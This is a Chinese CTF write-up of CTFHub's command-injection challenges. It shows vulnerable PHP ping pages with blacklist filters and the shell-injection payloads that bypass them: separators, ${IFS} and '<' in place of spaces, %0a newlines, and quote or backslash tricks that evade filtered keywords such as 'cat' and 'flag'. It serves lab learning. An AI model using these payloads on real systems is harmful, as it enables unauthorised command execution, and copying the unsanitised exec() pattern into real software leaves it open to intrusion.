CTFHUB RCE 命令注入
RCE知识点:
rce分为远程执行ping,和远程代码执行evel。
漏洞出现原因:未在输入口做输入处理。
涉及到ping命令:ping是windows,linux系统下的一个命令,ping也属于一个通信协议,是TCP/IP协议的一部分,利用ping命令可以检查网络是否连通,可以很好的帮助我们分析和判定网络故障。
LINUX系统的管道符:
1," ; ": 执行完前面的语句在执行后面的语句。
2.“ | “: 显示后面的语句的执行结果。
3.” || “:当前的语句执行出错时,执行后面的语句。
4.” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5.” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
还有一些管道符:
windows系统是:
1. " | " :是直接后面的执行语句
2. “ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3. " & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. " && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
命令注入
进去直接看到输入ping ,什么也没过滤
127.0.0.1;ls
看见flag文件,
cat访问
直接在网页上看不见看不见,查看源代码或者在命令后面再加 |base64
过滤cat
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); }
else { $res = $m; } } ?>
过滤了cat命令,可以使用 \符号来避免
127.0.0.1&ls 找到flag_286492271214562.php文件
127.0.0.1&c\at flag_286492271214562.php 查看源代码得到flag(或者转化为base64再解码得到flag)
过滤空格
知识点:空格可以替换 <,<>, ${IFS}, $IFS,%20(space), %09(tab), $IFS$9,
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/ /", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
首先还是 127.0.0.1&ls 查看当前目录
看见 flag_289171498827367.php
然后127.0.0.1&cat<flag_26132889926071.php查看flag
得到flag:ctfhub{8450b0b17cb0c7a01228ba1f}
过滤目录分隔符
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/\//", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
过滤了 / 和 \
首先127.0.0.1|ls 查看当前路径
看见一个文件夹flag_is_here
直接使用 ;cd flag_is_here&&ls 得到flag:ctfhub{53c88a6505b1e001e3444ac8}
过滤运算符
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||\&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
直接 127.0.0.;ls 看到flag文件flag_249202331815571.php
查看文件127.0.0.1;cat flag_7861165715441.php
得到flag:ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}
综合练习
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
知识点:运算符分号可以用 %0a,%0d,%0D%0A替代。
flag可以用${IFS}fl$*ag_id_here这样替代。
127.0.0.1&ls提交并且用bp抓包
抓包后改为127.0.0.1%0als,go一下
发现了flag_is_here
继续查看这个文件127.0.0.1%0als${IFS}fl$*ag_is_here继续go一下
得到了一个flag文件
继续进入目录查看文件即可
原本要写成这样 27.0.0.1;cd flag_is_here;cat flag_31441137586545.php
因为过滤 127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_31441137586545.php
(当时没写,此处用的大佬的wp)
链接:https://blog.csdn.net/weixin_43326436/article/details/106719844
https://blog.csdn.net/szgyunyun/article/details/104970118

浙公网安备 33010602011771号